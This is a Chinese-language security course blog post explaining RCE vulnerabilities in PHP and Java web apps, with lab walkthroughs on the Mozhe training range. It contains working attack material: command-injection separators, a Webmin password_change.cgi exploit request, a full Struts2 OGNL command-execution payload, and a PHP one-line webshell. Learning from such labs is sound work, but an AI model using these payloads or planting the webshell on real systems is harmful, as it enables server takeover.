第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

在这里插入图片描述

RCE概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

RCE 漏洞产生相关性函数

PHP函数

PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

​ PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号

eval()

eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

system()

(PHP 4, PHP 5, PHP 7, PHP 8)

system — 执行外部程序,并且显示输出

<?php
 if($_GET['cmd']){
   $str=$_GET['cmd'];
   system($str);
?>

cmd=(任一windows命令) 都可当成windows系统命令执行。

漏洞形成条件

可控变量,漏洞函数

不安全的使用了代码调用代码或命令执行函数

不安全的使用了调用系统命令

如何挖掘RCE漏洞

漏洞扫描

黑盒测试:网站中有特殊功能,比如Ping、数据库备份等等。

白盒测试:查看命令执行函数是否做过滤。命令执行函数如下:

​ PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

​ PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号

如何防范

  • 敏感函数禁用,尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用

  • 在进入执行命令函数前进行严格的检测和过滤;

  • 部署WAF

poc 验证代码

exp 利用代码

拓展知识

常用管道符

Linux系统支持的管道符:

“;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami
“|”:显示后面语句的执行结果。例如:ping 127.0.0.1 | whoami
“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1 || whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 2 & whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1 && whoami

Windows系统支持的管道符:

“|”:直接执行后面的语句。例如:ping 127.0.0.1 | whoami
“||”:句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 3 ||whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1 & whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:127.0.0.1 && whoami

演示案例

墨者靶场黑盒功能点命令执行-应用功能

在这里插入图片描述

在这里插入图片描述

ubuntu4.14 linux系统

在这里插入图片描述

在这里插入图片描述

前端校验

在这里插入图片描述

(绕过:禁用js或者bp抓包改包)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

墨者靶场白盒代码及命令执行-代码分析

在这里插入图片描述

在这里插入图片描述

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>

在线运行

在这里插入图片描述

echo `$_REQUEST[a]`;; ?>

相当于

<?php
eval(echo `$_REQUEST[a]`;; ?>);
?>

在这里插入图片描述

在这里插入图片描述

反引号括起来的字符串被shell解释为命令行

墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

在这里插入图片描述

/usr/share/webmin/acl

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

改数据包

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2 

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面

在这里插入图片描述

poc

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls /

访问:http://ip/orders/3/+poc

在这里插入图片描述

执行命令 cat key.txt k 获取key

在这里插入图片描述

mozhef1ef23239c5142b18b80a5220ba

也可以使用漏洞工具:

工具下载地址

在这里插入图片描述

在这里插入图片描述

一句话 Webshell 后门原理代码执行-拓展说明

<?php @eval($_POST[‘pass’]);?>

通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。

“@”在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息

涉及资源:

https://www.cnblogs.com/ermei/p/6689005.html
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值